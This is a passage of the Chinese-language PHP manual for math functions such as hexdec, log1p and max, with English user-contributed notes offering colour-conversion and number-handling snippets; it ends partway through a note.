hexdec() 将遇到的所有非十六进制字符替换成 0。这样，所有左边的零都被忽略，但右边的零会计入值中。

例子 1. hexdec() 例子

<?php
var_dump(hexdec("See"));
var_dump(hexdec("ee"));
// both print "int(238)"

var_dump(hexdec("that")); // print "int(10)"
var_dump(hexdec("a0")); // print "int(160)"
?>

参见 dechex()，bindec()，octdec() 和base_convert()。

add a note add a note User Contributed Notes
repley at freemail dot it
29-May-2006 09:55
From color to color to ...... to color with fade effect. Good for dynamic bar chart.

<?php
//MultiColorFade(array hex-colors, int steps)
function MultiColorFade($hex_array, $steps) {

$tot = count($hex_array);
$gradient = array();
$fixend = 2;
$passages = $tot-1;
$stepsforpassage = floor($steps/$passages);
$stepsremain = $steps - ($stepsforpassage*$passages);

   for($pointer = 0; $pointer < $tot-1 ; $pointer++) {

       $hexstart = $hex_array[$pointer];
       $hexend = $hex_array[$pointer + 1];

       if($stepsremain > 0){
           if($stepsremain--){
               $stepsforthis = $stepsforpassage + 1;
           }
       }else{
           $stepsforthis = $stepsforpassage;
       }

       if($pointer > 0){
           $fixend = 1;
       }

       $start['r'] = hexdec(substr($hexstart, 0, 2));
       $start['g'] = hexdec(substr($hexstart, 2, 2));
       $start['b'] = hexdec(substr($hexstart, 4, 2));

       $end['r'] = hexdec(substr($hexend, 0, 2));
       $end['g'] = hexdec(substr($hexend, 2, 2));
       $end['b'] = hexdec(substr($hexend, 4, 2));

       $step['r'] = ($start['r'] - $end['r']) / ($stepsforthis);
       $step['g'] = ($start['g'] - $end['g']) / ($stepsforthis);
       $step['b'] = ($start['b'] - $end['b']) / ($stepsforthis);

       for($i = 0; $i <= $stepsforthis-$fixend; $i++) {

           $rgb['r'] = floor($start['r'] - ($step['r'] * $i));
           $rgb['g'] = floor($start['g'] - ($step['g'] * $i));
           $rgb['b'] = floor($start['b'] - ($step['b'] * $i));

           $hex['r'] = sprintf('%02x', ($rgb['r']));
           $hex['g'] = sprintf('%02x', ($rgb['g']));
           $hex['b'] = sprintf('%02x', ($rgb['b']));

           $gradient[] = strtoupper(implode(NULL, $hex));
       }
   }

   $gradient[] = $hex_array[$tot-1];

return $gradient;
}
//end MultiColorFade()

//start test
$multi_hex_array = array();
$multi_hex_array[] = array('FF0000','FFFF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000','FFFFFF');

foreach($multi_hex_array as $hex_array){

   $totcolors = count($hex_array);
   $steps = 44;

   $a = MultiColorFade($hex_array, $steps);
   $tot = count($a);

   $table = '<table border=1 width="300">' . "\n";

   for ($i = 0; $i < $tot; $i++){
       $table .= ' <tr><td bgcolor="' . $a[$i] . '">' . ($i+1) .'</td><td><pre>' . $a[$i] . '</pre></td></tr>' . "\n";
   }

   $table .= '</table><br /><br />';

   echo '<br />Demanded steps = ' . $steps . '<br />';
   echo 'Returned steps = ' . $tot;

   if($steps == $tot){
       echo '<br />OK.' . $steps . ' = ' . $tot . '<br />';
   }else{
       echo '<br /><span style="color:#FF0000">FAILED! Demanded steps and returned steps are NOT equal!: ' . $steps . ' != ' . $tot . '</span><br />';
   }

   echo $table;

}
//end test
?>

Repley.
greatwhitepine at NOSPAM dot yahoo dot ca
31-Mar-2006 04:46
Hex to binary conversion that works for large and small hex numbers.

<?php

function hexbin($str_hex) {
  $str_bin = FALSE;
  for ($i=0; $i < strlen($str_hex); $i++) {
   $str_bin .= sprintf("%04s", decbin(hexdec($str_hex[$i])));
  }
  return $str_bin;
}

$str_hex = "effffff20df";

print "\n          HEX VALUE: $str_hex\n";
printf("  REAL BINARY VALUE: %50s\n", hexbin($str_hex));
printf("CHOPPED BINARY VALUE: %50s\n\n", decbin(hexdec($str_hex)));

?>
ayadav at infoprocorp dot com
28-Dec-2005 04:03
From Amit Yadav

Hex to binary conversion

$num = hexdec("20DF");
echo binfromdec($num);

function binfromdec($num)
{
   if ($num > 32766)    return ("Too Large!");
   if ($num & 16384)    $bit15 = 1;
   if ($num & 8192)    $bit14 = 1;
   if ($num & 4096)    $bit13 = 1;
   if ($num & 2048)    $bit12 = 1;
   if ($num & 1024)    $bit11 = 1;
   if ($num & 512)        $bit10 = 1;
   if ($num & 256)        $bit9 = 1;
   if ($num & 128)        $bit8 = 1;
   if ($num & 64)        $bit7 = 1;
   if ($num & 32)        $bit6 = 1;
   if ($num & 16)        $bit5 = 1;
   if ($num & 8)        $bit4 = 1;
   if ($num & 4)        $bit3 = 1;
   if ($num & 2)        $bit2 = 1;
   if ($num & 1)        $bit1 = 1;

   return ("" . $bit15 . $bit14 . $bit13 . $bit12 . $bit11 . $bit10 . $bit9 . $bit8 . $bit7 . $bit6 . $bit5 . $bit4 . $bit3 . $bit2 . $bit1);

}
cory at lavacube dot com
29-Oct-2005 04:59
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
hajamie@home
24-Oct-2005 10:38
This function will take a hex $color, e.g. fa34bc and make it the shade you want, e.g. anywhere between 0 and 255. The smaller the number, the darker the output color.  It keeps the color the same, only changing the shade.

function correctshade($color, $shade)
{
$r = hexdec(substr($color,0,2));
$g = hexdec(substr($color,2,2));
$b = hexdec(substr($color,4,2));
$sum = ($r + $g + $b);
$x = (($shade * 3) - $sum) / $sum;
if ($x >= 0) {
$x = $x + 1;
} else {
$x = 1 + $x;
}
$r = intval($x * $r);
$g = intval($x * $g);
$b = intval($x * $b);
$r = dechex($r);
$g = dechex($g);
$b = dechex($b);
return $r.$g.$b;
}
09-Oct-2005 01:53
I needed to get the opposite colors so my website would be soft on the eyes.

<?php
function OppositeHex($color)
{
$r = dechex(255 - hexdec(substr($color,0,2)));
$r = (strlen($r) > 1) ? $r : '0'.$r;
$g = dechex(255 - hexdec(substr($color,2,2)));
$g = (strlen($g) > 1) ? $g : '0'.$g;
$b = dechex(255 - hexdec(substr($color,4,2)));
$b = (strlen($b) > 1) ? $b : '0'.$b;
return $r.$g.$b;
}

//Example
$color = '000000';
echo 'The opposite of #'.$color.' is #'.OppositeHex($color).';
?>
detrate at hotmail dot com
30-Sep-2005 09:38
I made this for a little phpbb mod.  It was used to take the hex value from the database and make a color 20 (in decimal) less, resulting a darker color.

EXAMPLE: #336699 to #1f5285

<?php

$row1 = "336699"; // color
$c = 20;          // difference value

$rgb = array(substr($row1,0,2), substr($row1,2,2), substr($row1,4,2));

for($i=0; $i < 3; $i++)
{
  if((hexdec($rgb[$i])-$c) >= 0)
  {
   $rgb[$i] = hexdec($rgb[$i])-$c;

   $rgb[$i] = dechex($rgb[$i]);
   if(hexdec($rgb[0]) <= 9)
     $rgb[$i] = "0".$rgb[$i];
  } else {
   $rgb[$i] = "00";
  }
}

$row2 = $rgb[0].$rgb[1].$rgb[2];

?>
Gabriel Reguly
17-Aug-2005 02:24
After esnhexdec from "rledger at gmail dot com",  the esndechex:

<?php
   function esndechex($dec){
         $a = strtoupper(dechex(substr($dec, 1,  2)));
         $b = strtoupper(dechex(substr($dec, 3, 10)));
         return $a . $b;
   }
?>
djneoform at gmail dot com
21-Jun-2005 12:51
since i couldn't find one, here's an HEX to ASCII converter..

(takes HEX strings (in ASCII) and converts each two digit HEX code into it's ASCII equivalent)

function hex2ascii($str)
{
   $p = '';
   for ($i=0; $i < strlen($str); $i=$i+2)
   {
       $p .= chr(hexdec(substr($str, $i, 2)));
   }
   return $p;
}
bishop
05-Jun-2005 10:51
Bullet-proof hex-to-rgb colour converter like brian at sagesport dot com wanted, just far fewer code lines. As a bonus, gives you the ability to return as string or array:

<?php
   function &hex2rgb($hex, $asString = true)
   {
       // strip off any leading #
       if (0 === strpos($hex, '#')) {
           $hex = substr($hex, 1);
       } else if (0 === strpos($hex, '&H')) {
           $hex = substr($hex, 2);
       }

       // break into hex 3-tuple
       $cutpoint = ceil(strlen($hex) / 2)-1;
       $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3);

       // convert each tuple to decimal
       $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0);
       $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0);
       $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0);

       return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb);
   }
?>

Handles 2, 3, and 6 character colour codes with leading # or &H.
Joey Morwick
03-May-2005 04:07
I found it helpful to have the inverse / reverse of this function laying around, since I wanted to insert some binary data into an xmlrpc call (it currently craps out when you do that), and I couldn't find one laying around, so here's a simple little function to do that:

function hex2bin($str) {
   $build = '';
   while(strlen($str) > 1) {
       $build .= chr(hexdec(substr($str, 0, 2)));
       $str = substr($str, 2, strlen($str)-2);
   }
   return $build;
}
rledger at gmail dot com
29-Mar-2005 03:59
To convert a cellular ESN from hexadecimal to decimal, use the following code. The base conversion is different due to the fact that the first two characters of a hexadecimal value must be converted seperately from the remaining six characters.
<?
function esnhexdec($hex){
   $a = sprintf("%03d", hexdec(substr($hex, 0, 2)));
   $b = sprintf("%08d", hexdec(substr($hex, 2, 6)));
   return $a . $b;
}
?>
zubfatal, root at it dot dk
25-Mar-2005 06:36
This replaces my previous class.
I've added a few more input checks in the rgb2hex function.
Also it returned incorrect hex values for 1-digit values.

color::rgb2hex(array(0,0,0)) would output 000 not 00000.

<?php

/**
* Convert colors
*
* Usage:
*  color::hex2rgb("FFFFFF")
*  color::rgb2hex(array(171,37,37))
*
* @author      Tim Johannessen <root@it.dk>
* @version    1.0.1
*/

class color {

   /**
     * Convert HEX colorcode to an array of colors.
     * @return      array        Returns the array of colors as array(red,green,blue)
     */

   function hex2rgb($hexVal = "") {
       $hexVal = eregi_replace("[^a-fA-F0-9]", "", $hexVal);
       if (strlen($hexVal) != 6) { return "ERR: Incorrect colorcode, expecting 6 chars (a-f, 0-9)"; }
       $arrTmp = explode(" ", chunk_split($hexVal, 2, " "));
       $arrTmp = array_map("hexdec", $arrTmp);
       return array("red" => $arrTmp[0], "green" => $arrTmp[1], "blue" => $arrTmp[2]);
   }

   /**
     * Convert RGB colors to HEX colorcode
     * @return      string        Returns the converted colors as a 6 digit colorcode
     */
   function rgb2hex($arrColors = null) {
       if (!is_array($arrColors)) { return "ERR: Invalid input, expecting an array of colors"; }
       if (count($arrColors) < 3) { return "ERR: Invalid input, array too small (3)"; }

       array_splice($arrColors, 3);

       for ($x = 0; $x < count($arrColors); $x++) {
           if (strlen($arrColors[$x]) < 1) {
               return "ERR: One or more empty values found, expecting array with 3 values";
           }

           elseif (eregi("[^0-9]", $arrColors[$x])) {
               return "ERR: One or more non-numeric values found.";
           }

           else {
               if ((intval($arrColors[$x]) < 0) || (intval($arrColors[$x]) > 255)) {
                   return "ERR: Range mismatch in one or more values (0-255)";
               }

               else {
                   $arrColors[$x] = strtoupper(str_pad(dechex($arrColors[$x]), 2, 0, STR_PAD_LEFT));
               }
           }
       }

       return implode("", $arrColors);
   }

}

?>
brian at sagesport dot com
23-Mar-2005 01:08
The issue I've seen with the existing hex to dec conversion routines is the lack of error-trapping.  I stick to the theory that one should try to cover ALL the bases when writing a generalized routine such as this one.  I have a varied background that covers a wide variety of design/development languages, on the web as well as desktop apps.  As such I've seen multiple formats for writing hex colors.

For example, the color red COULD be written as follows:
#ff0000
&Hff0000
#ff
&Hff

Therefore I have written a function that is case-insensitive and takes into account the chance that different developers have a tendency to format hex colors in different ways.

<?php
  function convert_color($hex){
   $len = strlen($hex);
   $chars = array("#","&","H","h");
   $hex = strip_chars($hex, $chars);
   preg_match("/([0-9]|[A-F]|[a-f]){".$len."}/i",$hex,$arr);
   $hex = $arr[0];
   if ($hex) {
     switch($len) {
       case 2:
         $red = hexdec($hex);
         $green = 0;
         $blue = 0;
         break;
       case 4:
         $red = hexdec(substr($hex,0,2));
         $green=hexdec(substr($hex,2,2));
         $blue = 0;
         break;
       case 6:
         $red = hexdec(substr($hex,0,2));
         $green=hexdec(substr($hex,2,2));
         $blue = hexdec(substr($hex,4,2));
         break;
     };
     $color[success] = true;
     $color[r] = $red;
     $color[g] = $green;
     $color[b] = $blue;
     return $color;
   } else {
     $color[success] = false;
     $color[error] = "unable to convert hex to dec";
   };
  }

  function strip_chars($string, $char){
   $len = strlen($string);
   $count = count($char);
   if ($count >= 2) {
     for ($i=0;$i<=$count;$i++) {
       if ($char[$i]) {
         $found = stristr($string,$char[$i]);
         if ($found) {
           $val = substr($string,$found+1,$len-1);
           $string = $val;
         };
       };
     };
   } else {
     $found = stristr($string,$char);
     if ($found) {
       $val = substr($string,$found+1,$len-1);
     };
   };
   echo $val;
   return $val;
  }

  /*
   To use simply use the following function call:
     $color = convert_color("#FF");
     this will return the following assoc array if successful:
     *[success] = true
     *[r] = 255
     *[g] = 0
     *[b] = 0

     or copy and paste the following code:

     $hex = "FFFFFF"; // Color White
     $color = convert_color($hex);
     var_dump($color);
 */
?>

As you can see, the function "convert_color" accepts a hex # in most acceptable formats and returns an associative array.  [success] is set to TRUE if the function succeeds and FALSE if not.  The array members [r], [g] and [b] hold the red,green and blue values respectively.  If it fails, [error] holds a custom error message.

"strip_chars" is a support function written to remove the unwanted characters from the hex string, and sends the concatenated string back to the calling function.  It will accept either a single value or an array of values for the characters to remove.
groobo
11-Feb-2005 03:46
It's just a revision to marfastic's ligten_up script, it simply adds/subtracts mod_color to orig_color.
I use it often to adjust tonals rather than brightness only

<?
function mod_color($orig_color, $mod, $mod_color){
   /*
       $orig_color - original html color, hex
       $mod_color - modifying color, hex
       $mod - modifier '+' or '-'
       usage: mod_color('CCCCCC', '+', '000033')
   */
   // does quick validation
   preg_match("/([0-9]|[A-F]){6}/i",$orig_color,$orig_arr);
   preg_match("/([0-9]|[A-F]){6}/i",$mod_color,$mod_arr);
   if ($orig_arr[0] && $mod_arr[0]) {
       for ($i=0; $i<6; $i=$i+2) {
           $orig_x = substr($orig_arr[0],$i,2);
           $mod_x = substr($mod_arr[0],$i,2);
           if ($mod == '+') { $new_x = hexdec($orig_x) + hexdec($mod_x); }
           else { $new_x = hexdec($orig_x) - hexdec($mod_x); }
           if ($new_x < 0) { $new_x = 0; }
           else if ($new_x > 255) { $new_x = 255; };
           $new_x = dechex($new_x);
           $ret .= $new_x;
       }
       return $ret;
   } else { return false; }
}
?>
20-Jan-2005 01:33
I wondered long time what is the best way to generate RGB-color from HEX-color, and just now i found the simpliest way!

<?php
$hex = "FF00FF";
$rgb = hexdec($hex); // 16711935
?>

I hope this will save your time! :)
marfastic
10-Dec-2004 11:14
Here is a function to brighten up any color:

function lighten_up($orig_color, $fraction_denom){
           // return the color between the color and white
           // based on the fraction denom that is passed

           if(!isset($fraction_denom))
               $fraction_denom = 2;
           $highest_val = hexdec("FF");
           $r = hexdec(substr($orig_color,0,2));
           $r = ($highest_val-$r)/$fraction_denom + $r;
           $g = hexdec(substr($orig_color,2,2));
           $g = ($highest_val-$g)/$fraction_denom + $g;
           $b = hexdec(substr($orig_color,4,2));
           $b = ($highest_val-$b)/$fraction_denom + $b;
           return dechex($r) . dechex($g) . dechex($b);
       }
_meto ALT+q web.de
09-May-2004 12:00
Damn, this took me some real long time! Maybe it's helpfull for those who even have no idea of color-Schemes like me ;)

If u want to generate PDF's for Print Offices u need to set all the colors in CMYK.

Here is a Function that will convert RGB to CMYK

<?
function hex2rgb($hex) {
  $color = str_replace('#','',$hex);
  $rgb = array('r' => hexdec(substr($color,0,2)),
               'g' => hexdec(substr($color,2,2)),
               'b' => hexdec(substr($color,4,2)));
  return $rgb;
}

function rgb2cmyk($var1,$g=0,$b=0) {
   if(is_array($var1)) {
     $r = $var1['r'];
     $g = $var1['g'];
     $b = $var1['b'];
   }
   else $r=$var1;
   $cyan    = 255 - $r;
   $magenta = 255 - $g;
   $yellow  = 255 - $b;
   $black  = min($cyan, $magenta, $yellow);
   $cyan    = @(($cyan    - $black) / (255 - $black)) * 255;
   $magenta = @(($magenta - $black) / (255 - $black)) * 255;
   $yellow  = @(($yellow  - $black) / (255 - $black)) * 255;
   return array('c' => $cyan / 255,
               'm' => $magenta / 255,
               'y' => $yellow / 255,
               'k' => $black / 255);
}

$color=rgb2cmyk(hex2rgb('#FF0000'));
pdf_setcolor($pdf, "both", "cmyk", $color['c'], $color['m'], $color['y'], $color['k']);
?>

U can call it with parameters (r,g,b) or just with an array(r,g,b) that contains these values.

Hope it works correct. All testing was fine.
gelado at ip3 dot com
29-Aug-2003 07:30
Another hex to decimal converter, up to the precision of PHP floats.

function longhex($hex)
{
   $dec = 0;
   $bitval = 1;
   for($pos = 1; $pos <= strlen($hex); $pos++) {
       $dec += hexdec(substr($hex, -$pos, 1)) * $bitval;
       $bitval *= 16;
   }
   return($dec);
}
henrique at recidive dot com
28-May-2003 06:43
Function to convert a string with hexadecimal colors to an associative array with RGB values:

<?
function hex2dec($hex) {
  $color = str_replace('#', '', $hex);
  $ret = array(
   'r' => hexdec(substr($color, 0, 2)),
   'g' => hexdec(substr($color, 2, 2)),
   'b' => hexdec(substr($color, 4, 2))
  );
  return $ret;
}

/*** Example:
print_r(hex2dec('3D58BE'));

or

print_r(hex2dec('#3D58BE'));

will return

Array
(
  [r] => 61
  [g] => 88
  [b] => 190
)
***/
?>

Thanks !

Henrique Recidive
andreas.schmeiler
05-Feb-2003 09:59
Here's another hex2bin variant, works pretty well to me.

function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
     $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
chrism at four dot net
16-Dec-2001 02:02
hexdec from 4.1.0 onwards does not show
the same size limitation and therefore
works differently with large numbers than previous php versions.

To obtain the same results, use:

(int) hexdec (...)
andychase at yahoo dot com
18-Jan-2001 10:32
For hex numbers larger than 7FFFFFFF (E.G. PalmOS dates in seconds elapsed since 01/01/1904), I came up with this:

function bighexdec($hexnumber){

   $numlength = strlen($hexnumber);

   $decnumber = 0;

   for($x = 1; $x <= $numlength; $x++){

       $place = $numlength - $x;

       $operand = hexdec(substr($hexnumber,$place,1));

       $exponent = pow(16,$x-1);

       $decValue = $operand * $exponent;

       $decnumber += $decValue;

   }

   return $decnumber;

}
joe at aigraphics dot com
21-Oct-2000 06:32
Here is a fast block of code to convert HTML Style HEX colors to RGB:
--------------------
$r = hexdec(substr($color, 0, 2));
$g = hexdec(substr($color, 2, 2));
$b = hexdec(substr($color, 4, 2));
--------------------
hope it helps you, enjoy.
add a note add a note

后退 | 起点 | 前进
getrandmax | 上一级 | hypot


hypot

(PHP 4 >= 4.1.0, PHP 5)

hypot -- 计算一直角三角形的斜边长度

说明

float hypot ( float x, float y )

hypot() 函数将会跟据直角三角形的两直解边长度 x 和 y 计算其斜边的长度。或者是从标点 (x, y) 到原点的距离。该函数的算法等同于 sqrt(x*x + y*y)。

add a note add a note User Contributed Notes
R. Victor Klassen
24-Jun-2005 11:03
A correct implementation of hypot( x, y ) avoids the overflow that might otherwise happen if either x or y is large enough that when squared it would overflow, but the answer is small enough not to cause overflow.
robinv at ecosse dot net
08-Jan-2004 01:18
A simpler approach would be to allow an arbitrary number of parameters. That would allow for whatever number of dimensions you want *and* it would be backwards compatible with the current implementation.

<?php

function hypo()
{
   $sum = 0;
   foreach (func_get_args() as $dimension) {
       if (!is_numeric($dimension)) return -1;
       $sum += pow($dimension, 2);
   }
   return sqrt($sum);
}

print hypo();          // vector in 0 dimensions, magnitude = 0.
print hypo(1);        // vector in 1 dimension,  magnitude = 1.
print hypo(3, 4);      // vector in 2 dimensions, magnitude = 5.
print hypo(2, 3, 6);    // vector in 3 dimensions, magnitude = 7.

?>
add a note add a note

后退 | 起点 | 前进
hexdec | 上一级 | is_finite


is_finite

(PHP 4 >= 4.2.0, PHP 5)

is_finite -- 判断是否为有限值

说明

bool is_finite ( float val )

如果 val 是本机平台上 PHP 浮点数所允许范围中的一个合法的有限值，则返回 TRUE。

参见 is_infinite() 和 is_nan()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hypot | 上一级 | is_infinite


is_infinite

(PHP 4 >= 4.2.0, PHP 5)

is_infinite -- 判断是否为无限值

说明

bool is_infinite ( float val )

如果 val 为无穷大（正的或负的），例如 log(0) 的结果或者任何超出本平台的浮点数范围的值，则返回 TRUE。

参见 is_finite() 和 is_nan()。

add a note add a note User Contributed Notes
david(@t)nirvanis(d@t)org
31-Aug-2004 05:49
If you have PHP lower than 4.2 you can simulate the behaviour:

function is_infinite($value) {
   return (substr("$value",-3) == "INF");
}

(tested on php 4.1.2)
add a note add a note

后退 | 起点 | 前进
is_finite | 上一级 | is_nan


is_nan

(PHP 4 >= 4.2.0, PHP 5)

is_nan -- 判断是否为合法数值

说明

bool is_nan ( float val )

如果 val 为“非数值”，例如 acos(1.01) 的结果，则返回 TRUE。

参见 is_finite() 和 is_infinite()。

add a note add a note User Contributed Notes
darkangel at moveinmod dot net
02-Mar-2006 02:04
nan/"not a number" is not meant to see if the data type is numeric/textual/etc..

NaN is actually a set of values which can be stored in floating-point variables, but dont actually evaluate to a proper floating point number.

The floating point system has three sections: 1 bit for the sign (+/-), an 8 bit exponent, and a 23 bit fractional part.
There are rules governing which combinations of values can be placed into each section, and some values are reserved for numbers such as infinity. This leads to certain combinations being invalid, or in other words, not a number.
Sku
04-Dec-2005 05:29
Hi nez,

better would be:

function isNaN( $var ) {
     return !ereg ("^[-]?[0-9]+([\.][0-9]+)?$", $var);
}

ys, Sku
nez [at] NOSPAM gazeta [dot] pl
27-Sep-2005 04:27
Paul, i guess better would be:

function isNaN( $var ) {
     return ereg ("^[-]?[0-9]+([\.][0-9]+)?$", $var);
}
Vincent
24-Feb-2005 10:04
Since NaN is not even equal to itself, here is a way to test it:

<?php

function my_is_nan($_) {
return ($_ !== $_);
}

?>
paul at NOSPAM dot paultastic dot com
11-Jun-2002 02:55
See is_numeric if you have an older version of PHP than 4.20.  It should serve your purpose well.

If you're using PHP 3, you can use a regular expression:

function isNaN( $var ) {
     return ereg ("^[0-9\.]+$", $var);
}
add a note add a note

后退 | 起点 | 前进
is_infinite | 上一级 | lcg_value


lcg_value

(PHP 4, PHP 5)

lcg_value -- 组合线性同余发生器

说明

float lcg_value ( void )

lcg_value() 返回范围为 (0, 1) 的一个伪随机数。本函数组合了周期为 2^31 - 85 和 2^31 - 249 的两个同余发生器。本函数的周期等于这两个素数的乘积。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_nan | 上一级 | log10


log10

(PHP 3, PHP 4, PHP 5)

log10 -- 以 10 为底的对数

说明

float log10 ( float arg )

返回参数 arg 以 10 为底的对数。

参见 log()。

add a note add a note User Contributed Notes
smalladi at lexgen dot com
21-Nov-2001 07:47
Note that log of a negative or undefined number returns -Infinity.
add a note add a note

后退 | 起点 | 前进
lcg_value | 上一级 | log1p


log1p

(PHP 4 >= 4.1.0, PHP 5)

log1p -- 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果

说明

float log1p ( float number )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

log1p() 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果

注: 本函数未在 Windows 平台下实现。

参见 expm1() 和 log()。

add a note add a note User Contributed Notes
11-Sep-2002 05:29
Note that the benefit of this function for small argument values is lost if PHP is compiled against a C library that that not have builtin support for the log1p() function.

In this case, log1p() will be compiled by using log() instead, and the precision of the result will be identical to log(1), i.e. it will always be 0 for small numbers.
Sample log1p(1.0e-20):
- returns 0.0 if log1p() is approximated by using log()
- returns something very near from 1.0e-20, if log1p() is supported by the underlying C library.

One way to support log1p() correctly on any platform, so that the magnitude of the expected result is respected:

function log1p($x) {
return ($x>-1.0e-8 && $x<1.0e-8) ? ($x - $x*$x/2) : log(1+$x);
}

If you want better precision, you may use a better limited development, for small positive or negative values of x:

log(1+x) = x - x^2/2 + x^3/3 - ... + (-1)^(n-1)*x^n/n + ...

(This serial sum converges only for values of x in [0 ... 1] inclusive, and the ^ operator in the above formula means the exponentiation operator, not the PHP xor operation)

Note that log1p() is undefined for arguments lower than or equal to -1, and that the implied base of the log function is the Neperian "e" constant.
add a note add a note

后退 | 起点 | 前进
log10 | 上一级 | log


log

(PHP 3, PHP 4, PHP 5)

log -- 自然对数

说明

float log ( float arg [, float base] )

如果指定了可选的参数 base，log() 返回 logbase arg，否则 log() 返回参数 arg 的自然对数。

注: 参数 base 自 PHP 4.3.0 开始可用。

你可以计算任意以 b 为底 n 的对数，但其实使用的是数学等式：logb(n) = log(n)/log(b)，其中 log 是自然对数。

参见 exp()。

add a note add a note User Contributed Notes
mcmeijer at yahoo dot com
03-Feb-2005 11:22
$val = 1000000
$val2 = floor(log($val,10)) gives a value of 5 for $val2 and not 6 as expected.
$val2 = floor(log10($val)) gives the correct value.
c0x at mail dot ru
19-Sep-2004 06:08
more general version, works fine on negative, very big ($value > 1E+18) and very small ($value < 1E-18) numbers.

function expn($value, $prec = 3, $base = 1000, $prefix = '') {
   $e = array('a', 'f', 'p', 'n', 'u', 'm', '', 'k', 'M', 'G', 'T', 'P', 'E');
   $p = min(max(floor(log(abs($value), $base)), -6), 6);
   return round((float)$value / pow($base, $p), $prec) . $prefx . $e[$p + 6];
}
admin at worldtakeover dot tk
21-Jun-2004 04:06
In regards to the note about log in base 10 and the round() function. You need to use floor() instead of round() to find out the order of magnitude. That way, you don't have to worry about subtracting 0.5 or whatever.
mightye (at) mightye.org
07-Feb-2003 04:02
A minor warning:

in PHP < 4.3.0, in order to get the log base 10 of a number, you have to do:
$log10 = log($n)/log(10);

If you want a whole number (to identify the order of magnitude), and you typecast $log10 to (int), you may not get what you expect:
(int)(log(1000)/log(10)) = 2
(log(1000)/log(10)) = 3 (float with no displayed decimal places)

The mathematical error in this causes the typecast to round the result down, even though the error runs out to so many decimal places that it is not displayed, and the float value looks like a whole number.  Instead you may need to do:
round(log($n)/log(10)-0.5,0);

This will give you the order of magnitude of your number.

Presumably in PHP 4.3.0+, a similar result may occur.
add a note add a note

后退 | 起点 | 前进
log1p | 上一级 | max


max

(PHP 3, PHP 4, PHP 5)

max -- 找出最大值

说明

mixed max ( number arg1, number arg2 )

mixed max ( array numbers [, array ...] )

max() 返回参数中数值最大的值。

如果仅有一个参数且为数组，max() 返回该数组中最大的值。如果第一个参数是整数、字符串或浮点数，则至少需要两个参数而 max() 会返回这些值中最大的一个。可以比较无限多个值。

注: PHP 会将非数值的 string 当成 0，但如果这个正是最大的数值则仍然会返回一个字符串。如果多个参数的值都是 0，max() 将返回第一个（最左边的值）。

例子 1. 使用 max() 的例子

<?php
echo max(1, 3, 5, 6, 7);  // 7
echo max(array(2, 4, 5)); // 5
echo max(0, 'hello');     // 0
echo max('hello', 0);     // hello
echo max(-1, 'hello');    // hello

// 对多个数组，max 从左向右比较。
// 因此在本例中：2 == 2，但 4 < 5
$val = max(array(2, 4, 8), array(2, 5, 7)); // array(2, 5, 7)

// 如果同时给出数组和非数组作为参数，则总是将数组视为
// 最大值返回
$val = max('string', array(2, 5, 7), 42);   // array(2, 5, 7)
?>

参见 min() 和 count()。

add a note add a note User Contributed Notes
johnphayes at gmail dot com
03-May-2006 12:27
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
tim at (NOSPAM) dot crazynot2 dot com
08-Nov-2005 05:56
In response to the previous two posters (zher0 at netcarrier dot com & walkingmantis):

I was trying to do exactly what zher0 suggested; calculate the max value of a multi-dimensional array with variably sized 'sub-arrays'.  Here is a simple little function I came up with to do just that:

<?php
function multimax( $array ) {
   // use foreach to iterate over our input array.
   foreach( $array as $value ) {

       // check if $value is an array...
       if( is_array($value) ) {

           // ... $value is an array so recursively pass it into multimax() to
           // determine it's highest value.
           $subvalue = multimax($value);

           // if the returned $subvalue is greater than our current highest value,
           // set it as our $return value.
           if( $subvalue > $return ) {
               $return = $subvalue;
           }

       } elseif($value > $return) {
           // ... $value is not an array so set the return variable if it's greater
           // than our highest value so far.
           $return = $value;
       }
   }

   // return (what should be) the highest value from any dimension.
   return $return;
}
?>

Please note that I have only performed very limited testing on this code -- be sure to check it thoroughly if you implement it somewhere!
nonick AT 8027 DOT org
17-Dec-2003 11:50
If you are working with numbers, then you can use:

   $a = ($b > $c) ? $b : $c;

which is somewhat faster (roughly 16%) than

   $a = max($b, $c);

I tested this on several loops using integers and floats, over 1 million iterations.

I'm running PHP 4.3.1 as a module for Apache 1.3.27.
mikhail_kovalev at mail dot ru
14-May-2003 07:32
Note that in version 4.0.3 (the only version I tested):

